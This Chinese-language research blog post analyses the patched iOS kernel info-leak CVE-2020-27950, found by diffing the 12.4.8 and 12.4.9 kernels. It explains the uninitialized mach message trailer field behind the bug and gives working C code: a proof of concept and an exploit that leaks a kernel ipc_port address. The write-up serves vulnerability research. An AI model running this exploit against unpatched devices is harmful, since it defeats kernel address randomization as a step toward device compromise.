iOS 1-day 捕获:发现和利用 CVE-2020-27950

 

简介

在11月初,Project Zero 就宣布Apple已经修补了一系列漏洞,这些漏洞已经被利用,该链主要包括3个漏洞:FontParser中的用户层RCE以及内核中的内存泄漏和类型混淆。在这篇文章中,我们将介绍如何识别和利用内核内存泄漏漏洞。

Apple修补在野被利用的完整漏洞链并不常见。原因有以下几点:

  • 如果利用代码公开,它们将提供有关iOS最新版本的最新利用方法,其中包括越来越多的安全缓解机制;
  • 即使利用代码不可用,内核漏洞也可能引起大家极大的兴趣,这是一个完整的链,意味着要突破坚固的沙箱,以便能够从用户层应用程序利用内核。

由于Project Zero没有发布任何关于漏洞和利用方法的细节,我们开始自己挖掘它们。

 

Bindiffing 非常容易

令人惊讶的是,苹果在iOS 12.4.9中也选择了修复这些旧设备上的漏洞。苹果之所以选择这样做,可能是因为苹果希望尽可能多地保护用户,因为这些漏洞会被外界利用。

从安全研究员的角度来看,这个选择是一个礼物:我们可以获取一个已经修补了漏洞的iOS 12.4.9内核,并将其与iOS 12.4.8内核进行比较,更改列表将会很少,因为没有新的功能,而且每一个更改都可能是一个漏洞修复!

获取内核并不是一件容易的事:为了方便我们可以使用网站ipsw.me下载与旧版iPhone(例如iPhone 6)对应的iOS版本12.4.8和12.4.9的IPSW文件,通过解析苹果托管的公开XML文件,它会自动更新IPSW文件的链接。IPSW文件是包含各种文件的压缩文件,包括kernelcache.release.iphone7,这是我们iPhone型号的压缩内核二进制文件。

根据iPhone版本的不同,可以使用不同的压缩方法。可以在压缩的kernelcache头部中看到,目标iPhone6使用LZSS:

$ xxd -a kernelcache.release.iphone7 | head -n 10
00000000: 3083 d68f 3c16 0449 4d34 5016 046b 726e  0...<..IM4P..krn
00000010: 6c16 1e4b 6572 6e65 6c43 6163 6865 4275  l..KernelCacheBu
00000020: 696c 6465 722d 3134 3639 2e32 3630 2e31  ilder-1469.260.1
00000030: 3504 83d6 8f0b 636f 6d70 6c7a 7373 025a  5.....complzss.Z
00000040: b99c 01ae f208 00d5 cd8b 0000 0001 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
000001b0: 0000 0000 0000 ffcf faed fe0c 0000 01d5  ................
000001c0: 00f6 f002 f6f0 16f6 f058 115a f3f1 20f6  .........X.Z.. .
000001d0: f100 19f6 f028 faf0 3f5f 5f54 4558 5409  .....(..?__TEXT.

从偏移量0x1b6开始是压缩二进制文件。lzssdec工具可以用来得到一个纯净版本的二进制内核:

$ lzssdec -o 0x1b6 < kernelcache.release.iphone7 > kernelcache.bin
$ file kernelcache.bin
kernelcache.bin: Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|PIE>

现在我们有了两个内核二进制文件,我们可以开始diffing了。我们将在IDA Pro中使用Bindiff 6,其他工具也可以。IDA仅允许加载单个kext或包含其所有kext的内核。由于我们目前不知道漏洞的位置,因此我们加载所有东西!

一旦IDA自动分析完成后,我们可以在12.4.8 IDA实例中对12.4.9 IDB运行bindiff,下面是按相似度排序的结果:

这些结果超出了我们的预期!两个版本之间只有8个函数略有变化,都在内核中!

在这8个结果中,2个实际上是较小的指令顺序变化。在剩下的6个中,有5个增加了对bzero的调用,这使它们成为涉及“内存初始化问题”的内存泄漏漏洞的最佳目标。

iOS kernelcaches通常缺少符号,使用joker工具可以轻松识别某些入口点,如mach traps。调试字符串和公共XNU源也允许重命名许多函数,我们可以将5个修补的函数标识为:

  • mach_msg_send
  • mach_msg_overwrite
  • ipc_kmsg_get
  • ipc_kmsg_get_from_kernel
  • ipc_kobject_server

所有这些函数都处理ipc-ukmsg对象,kmsg对象是mach消息的内核表示形式,是结构的复杂集合。查看这些函数的源代码,可以将bzero调用链接到kmsg trailers的初始化。

 

ipc_kmsg trailer

Trailers是一个动态大小取决于其类型的结构。最小的trailer是一个8字节的结构,只包含类型和大小,而最大的是0x44字节,并且有多个字段,如以下XNU源代码所示:

typedef struct{
    mach_msg_trailer_type_t       msgh_trailer_type;
    mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

typedef struct{
    mach_msg_trailer_type_t       msgh_trailer_type;
    mach_msg_trailer_size_t       msgh_trailer_size;
    mach_port_seqno_t             msgh_seqno;
    security_token_t              msgh_sender;
    audit_token_t                 msgh_audit;
    mach_port_context_t           msgh_context;
    int                           msgh_ad;
    msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))

在创建新的kmsg时,内核还不知道在接收到消息时将请求哪种trailer类型。因此,它保留最大的大小,初始化一些字段,并将类型设置为最小的字段。例如ipc_kmsg_get中的trailer初始化为:

/*
 * I reserve for the trailer the largest space (MAX_TRAILER_SIZE)
 * However, the internal size field of the trailer (msgh_trailer_size)
 * is initialized to the minimum (sizeof(mach_msg_trailer_t)), to optimize
 * the cases where no implicit data is requested.
 */
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;

这看起来很有趣!如果我们能够读到一条mach消息,要求一个比预期更长的trailer,我们可能会检索未初始化的内存块。

当使用mach_msg()读取一个mach消息时,内核中到达trailer复制的执行流程为:

  • mach_msg_trap
    • mach_msg_overwrite_trap
      • mach_msg_receive_results
        • ipc_kmsg_add_trailer

在ipc_kmsg_add_trailer()中,计算输出的trailer大小:

mach_msg_trailer_size_t
ipc_kmsg_add_trailer(ipc_kmsg_t kmsg, ipc_space_t space __unused,
    mach_msg_option_t option, thread_t thread,
    mach_port_seqno_t seqno, boolean_t minimal_trailer,
    mach_vm_offset_t context)
{
    mach_msg_max_trailer_t *trailer;

#ifdef __arm64__
    mach_msg_max_trailer_t tmp_trailer; /* This accommodates U64, and we'll munge */               [1]
    void *real_trailer_out = (void*)(mach_msg_max_trailer_t *)
        ((vm_offset_t)kmsg->ikm_header +
        mach_round_msg(kmsg->ikm_header->msgh_size));

    /*
     * Populate scratch with initial values set up at message allocation time.
     * After, we reinterpret the space in the message as the right type
     * of trailer for the address space in question.
     */
    bcopy(real_trailer_out, &tmp_trailer, MAX_TRAILER_SIZE);                                       [2]
    trailer = &tmp_trailer;
#else /* __arm64__ */
    (void)thread;
    trailer = (mach_msg_max_trailer_t *)
        ((vm_offset_t)kmsg->ikm_header +
        mach_round_msg(kmsg->ikm_header->msgh_size));
#endif /* __arm64__ */

    if (!(option & MACH_RCV_TRAILER_MASK)) {                                                       [3]
        return trailer->msgh_trailer_size;
    }

    trailer->msgh_seqno = seqno;
    trailer->msgh_context = context;
    trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);     [4]
[...]
  • 在[1]中,在栈上使用了新的trailer。
  • 在[2]中,kmsg trailer内容被复制到新trailer中。
  • 在[3]中,将根据MACH_RCV_TRAILER_MASK检查选项参数。这个选项参数来自用户层传递给mach_msg()的选项参数。
  • 在[4]中,真正的trailer大小是使用宏REQUESTED_TRAILER_SIZE()计算的。

通过提供MACH_RCV_TRAILER_MASK与mach_msg()匹配的选项,我们可以请求内核返回指定的trailer大小。支持的选项在message.h中定义:

#define MACH_RCV_TRAILER_NULL   0
#define MACH_RCV_TRAILER_SEQNO  1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT  3
#define MACH_RCV_TRAILER_CTX    4
#define MACH_RCV_TRAILER_AV     7
#define MACH_RCV_TRAILER_LABELS 8

#define MACH_RCV_TRAILER_TYPE(x)     (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK        ((0xf << 24))

因此,我们可以在选项参数中使用例如MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AUDIT)调用mach_msg()以请求指定大小的trailer。。现在,在ipc_kmsg_add_trailer()中,当请求一个比初始化的更大的trailer时,会发生什么?在ipc_kmsg_get()中,我们看到只有msgh_sender、msgh_audit和msgh_labels可选字段被初始化,剩下3个字段未初始化。

[...]
    trailer->msgh_seqno = seqno;                                                                   [1]
    trailer->msgh_context = context;
    trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);

    if (minimal_trailer) {                                                                         [2]
        goto done;
    }

    if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {                                         [3]
        trailer->msgh_ad = 0;
    }

    /*
     * The ipc_kmsg_t holds a reference to the label of a label
     * handle, not the port. We must get a reference to the port
     * and a send right to copyout to the receiver.
     */

    if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
        trailer->msgh_labels.sender = 0;
    }

done:
#ifdef __arm64__
    ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));               [4]
#endif /* __arm64__ */

    return trailer->msgh_trailer_size;
}
  • 在[1]中,msgh_seqno和msgh_context在trailer副本中初始化。
  • 在[2]中,传递给函数的布尔值会被检查提前返回。当从mach_msg_receive_results()调用时,这个布尔值为false。
  • 在[3]中,函数检查传递的选项是否大于或等于MACH_RCV_TRAILER_AV,这意味着我们希望检索至少包含msgh_ad的结构。如果是这样,msgh_ad在trailer副本中被初始化为0。
  • 最后,在[4]中,ipc_kmsg_munge_trailer()将msgh_seqno、msgh_context、msgh_trailer_size和msgh_ad从trailer副本复制回原始的trailer。

观察并没有发现任何错误,所有字段似乎都已正确初始化,然后才能返回用户层。但是,让我们看一下REQUESTED_TRAILER_SIZE()宏如何实际计算trailer大小:

#define REQUESTED_TRAILER_SIZE(is64, y) REQUESTED_TRAILER_SIZE_NATIVE(y)
#define REQUESTED_TRAILER_SIZE_NATIVE(y)                        \
    ((mach_msg_trailer_size_t)                              \
     ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_NULL) ?      \
      sizeof(mach_msg_trailer_t) :                          \
      ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SEQNO) ?    \
       sizeof(mach_msg_seqno_trailer_t) :                   \
      ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SENDER) ?   \
       sizeof(mach_msg_security_trailer_t) :                \
       ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AUDIT) ?   \
        sizeof(mach_msg_audit_trailer_t) :                  \
        ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_CTX) ?    \
         sizeof(mach_msg_context_trailer_t) :               \
         ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AV) ?    \
          sizeof(mach_msg_mac_trailer_t) :                  \
         sizeof(mach_msg_max_trailer_t))))))))

当选项值已知时,该宏返回正确的大小,而当选项值未知时返回最大大小。这意味着通过设置一个小于MACH_RCV_TRAILER_AV的不存在选项,我们可以跳过msgh_ad字段初始化,同时仍可以恢复最大的trailer。之所以会出现这个bug,是因为值5和6都不是有效的MACH_RCV_TRAILER_XXX定义!

为了说明这种行为,我们可以编写一个简单的poc来从未初始化的内存中读取已知值。在iOS 13.x之前的版本中,可以在同一kalloc区域中分配管道缓冲区和ipc_kmsg,因为iOS 14之前没有分割堆。因此,我们可以创建一个填充已知值的管道缓冲区(例如kalloc.1024)。将其释放,然后发送一个mach消息,该消息的大小将使其也被分配到kalloc.1024中,并最终触发漏洞以读取已知值。这是代码(github链接):

// CVE-2020-27950 simple PoC

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <mach/mach.h>

#define MAGIC 0x416e7953 // 'SynA'

int main(int argc, char *argv[]) {
    mach_port_t port;
    int fd[2];

    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

    printf("[+] Allocating controlled (magic value %x) kalloc.1024 buffer\n", MAGIC);
    uint32_t *pipe_buff = malloc(1020);
    for (int i = 0; i < 1020 / sizeof(uint32_t); i++)
        pipe_buff[i] = MAGIC;
    pipe(fd);
    write(fd[1], pipe_buff, 1020);

    printf("[+] Creating kalloc.1024 ipc_kmsg\n");
    mach_msg_base_t *message = NULL;

    // size to fit in kalloc.1024, trust me, I'm an expert (c)
    mach_msg_size_t message_size = (mach_msg_size_t)(sizeof(*message) + 0x1e0); 

    message = malloc(message_size + MAX_TRAILER_SIZE);
    memset(message, 0, message_size + MAX_TRAILER_SIZE);
    message->header.msgh_size = message_size;
    message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
    message->body.msgh_descriptor_count = 0;
    message->header.msgh_remote_port = port;

    uint8_t *buffer;
    buffer = malloc(message_size + MAX_TRAILER_SIZE);

    printf("[+] Freeing controlled buffer\n");
    close(fd[0]);
    close(fd[1]);

    printf("[+] Sending message\n");
    mach_msg(&message->header, MACH_SEND_MSG, message_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    memset(buffer, 0, message_size + MAX_TRAILER_SIZE);
    printf("[+] Now reading message back\n");
    mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, message_size + MAX_TRAILER_SIZE, 
        port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    mach_msg_mac_trailer_t *trailer = (mach_msg_mac_trailer_t*)(buffer + message_size);
    printf("[+] Leaked value: %x\n", trailer->msgh_ad);

    return 0;
}

PoC输出如下,有效地泄漏了我们magic值:

$ ./CVE-2020-27950_poc
[+] Allocating controlled (magic value 416e7953) kalloc.1024 buffer
[+] Creating kalloc.1024 ipc_kmsg
[+] Freeing controlled buffer
[+] Sending message
[+] Now reading message back
[+] Leaked value: 416e7953

 

那泄漏一个内核指针呢?

泄漏一个已知值证明了漏洞的存在。然而,使用它来可靠地泄漏一个感兴趣的值通常比较困难。

mach消息的一个有趣的特性是它们能够传输mach port。在正确发送port时,将使用mach_msg_port_descriptor_t结构:

typedef struct{
    mach_port_t                   name;
#if !(defined(KERNEL) && defined(__LP64__))
// Pad to 8 bytes everywhere except the K64 kernel where mach_port_t is 8 bytes
    mach_msg_size_t               pad1;
#endif
    unsigned int                  pad2 : 16;
    mach_msg_type_name_t          disposition : 8;
    mach_msg_descriptor_type_t    type : 8;
#if defined(KERNEL)
    uint32_t          pad_end;
#endif
} mach_msg_port_descriptor_t;

这种结构在用户层或内核中使用时是不同的。实际上,在用户层中,mach_port_t被定义为无符号int(标识port为不明值),而在kernel中,它被定义为struct ipc_port指针。

这种差异意味着,使用多个mach_msg_port_descriptor_t结构发送的mach消息将导致内核ipc_kmsg结构包含多个指向port的指针。这样,我们就可以把感兴趣的数据放在内核缓冲区中,以后我们可能会泄露这些数据!

能够读取ipc_port指针的一部分的技巧是发送包含X mach_msg_port_descriptor_t的第一条消息,释放它,然后发送带有X – y mach_msg_port_descriptor_t的另一条消息,以便重用分配,并将其trailer写入先前消息描述符所在的位置。发送的描述符数量必须调整为满足2个条件:

  • ipc-kmsg分配应在同一个kalloc区域进行;
  • X和X- y描述符之间的差异应该足以使trailer在缓冲区中向前移动,从而使它与以前的一些消息描述符重叠。

实际上,在第一个消息(message)中发送50个描述符,在第二个消息(message)中发送40个描述符就满足了条件。由于该漏洞只允许泄漏4个字节的内存,因此我们还需要以4个字节为步长移动trailer。幸运的是,我们能够在mach消息中发送一些填充(padding)而不会触发任何问题(只要填充4字节的倍数),就可以有效地移动泄漏窗口。

我们还需要完成一个步骤:释放包含内核指针的ipc_kmsg缓冲区。如果我们尝试正常读取该消息,则指针将被替换为用户层mach名称,然后再复制回用户层。因此,我们必须触发一个错误,以便在不触发此行为的情况下释放分配。

下面是泄漏内核ipc_port地址的最终exploit(github链接):

// CVE-2020-27950 port pointer leak

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <mach/mach.h>

// good sizes to fit in kalloc.1024, trust me, I'm an expert (c)
#define LEAK_PORTS 50
typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;

typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t sent_ports[LEAK_PORTS-10];
} message_small_t;

int main(int argc, char *argv[]) {
    mach_port_t port;
    mach_port_t sent_port;

    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
    mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);

    printf("[*] Will get port %x address\n", sent_port);

    message_big_t *big_message = NULL;
    message_small_t *small_message = NULL;

    mach_msg_size_t big_size = (mach_msg_size_t)(sizeof(*big_message));
    mach_msg_size_t small_size = (mach_msg_size_t)(sizeof(*small_message));

    big_message = malloc(big_size + MAX_TRAILER_SIZE);
    small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);

    printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
    memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
    big_message->header.msgh_remote_port = port;
    big_message->header.msgh_size = big_size;
    big_message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    big_message->body.msgh_descriptor_count = LEAK_PORTS;

    for (int i = 0; i < LEAK_PORTS; i++) {
        big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
        big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
        big_message->sent_ports[i].name = sent_port;
    }

    printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
    memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
    small_message->header.msgh_remote_port = port;
    small_message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;

    for (int i = 0; i < LEAK_PORTS - 10; i++) {
        small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
        small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
        small_message->sent_ports[i].name = sent_port;
    }


    uint8_t *buffer;
    buffer = malloc(big_size + MAX_TRAILER_SIZE);
    mach_msg_mac_trailer_t *trailer;
    uintptr_t sent_port_address = 0;

    printf("[*] Sending message 1\n");
    mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Discarding message 1\n");
    mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    small_message->header.msgh_size = small_size + sizeof(uint32_t);
    printf("[*] Sending message 2\n");
    mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
    printf("[*] Reading back message 2\n");
    mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    trailer = (mach_msg_mac_trailer_t*)(buffer + small_size + sizeof(uint32_t));
    sent_port_address |= (uint32_t)trailer->msgh_ad;

    printf("[*] Sending message 3\n");
    mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Discarding message 3\n");
    mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
    printf("[*] Sending message 4\n");
    mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t)*2, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
    printf("[*] Reading back message 4\n");
    mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    trailer = (mach_msg_mac_trailer_t*)(buffer + small_size + sizeof(uint32_t)*2);
    sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;

    printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);

    return 0;
}

 

总结

在这篇文章中,我们研究了一个修补过的iOS内核,以获取有关已修补的内核内存泄漏漏洞的详细信息。我们找到了根本原因,编写了一个简单的PoC,并找到了可靠地获取mach port内核地址的方法。令人惊讶的是,这个漏洞在XNU中存在了这么长时间,因为它的代码是开源的,并且经过数百名黑客的严格审计。

细心的读者可能已经注意到,我们没有详细说明另一个被修补的漏洞,被苹果认定为一种类型的混淆。尽管使用bindiff可以很容易地找到此修复程序,但是对它的分析并不是那么简单,如果我们有足够的时间进行深入研究,它可能会成为未来博客中的主题!

(完)